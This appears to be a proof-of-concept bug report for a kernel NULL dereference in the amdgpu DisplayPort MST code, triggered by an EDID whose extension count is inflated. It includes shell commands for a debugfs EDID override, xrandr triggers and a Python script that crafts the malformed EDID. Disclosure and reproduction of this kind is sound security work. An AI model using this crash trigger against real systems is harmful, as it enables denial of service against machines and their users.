# DF-1966 PoC — NULL deref in dm_dp_mst_get_modes via oversized EDID

## Trigger

The base 128-byte EDID block declares `extensions >= 4`. The byte at offset
0x7e is the extension count; byte 0x7f is the 1-byte checksum over the full
128 bytes such that the sum ≡ 0 (mod 256). For a minimal triggering block, take
a known-good base block and patch byte 0x7e to 0x04 (or 0xFF), then recompute
the checksum.

### Hardware

Plug a USB-C DP-alt-mode / DP peripheral into any amdgpu DP port. The kernel
auto-enumerates via MST topology → `drm_dp_mst_get_edid` → `drm_do_get_edid`
(honors the uncapped extensions field) → `dm_dp_mst_get_modes` → NULL-deref.

### Software (via debugfs override_edid)

```sh
# edid_overflow.bin is a 128-byte base block with byte 0x7e = 0x10
# and byte 0x7f adjusted to make the 1-byte checksum ≡ 0.
echo 1 > /sys/kernel/debug/dri/0/DP-1/edid_override_control
cp edid_overflow.bin /sys/kernel/debug/dri/0/DP-1/edid_override
# Trigger fill_modes -> get_modes -> dm_dp_mst_get_modes:
xrandr --output DP-1 --off
xrandr --output DP-1 --auto
```

## Expected output

```
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x... (small offset within struct dc_sink)
ip = ...dm_dp_mst_get_modes+0x...
```

## Generating edid_overflow.bin

```sh
# Start from any valid base EDID; set extensions=0x10 and recompute checksum.
python3 - <<'PY'
import sys
edid = bytearray(open('base.bin','rb').read()[:128])
edid[0x7e] = 0x10
edid[0x7f] = (0x100 - (sum(edid[:127]) & 0xff)) & 0xff
open('edid_overflow.bin','wb').write(edid)
PY
```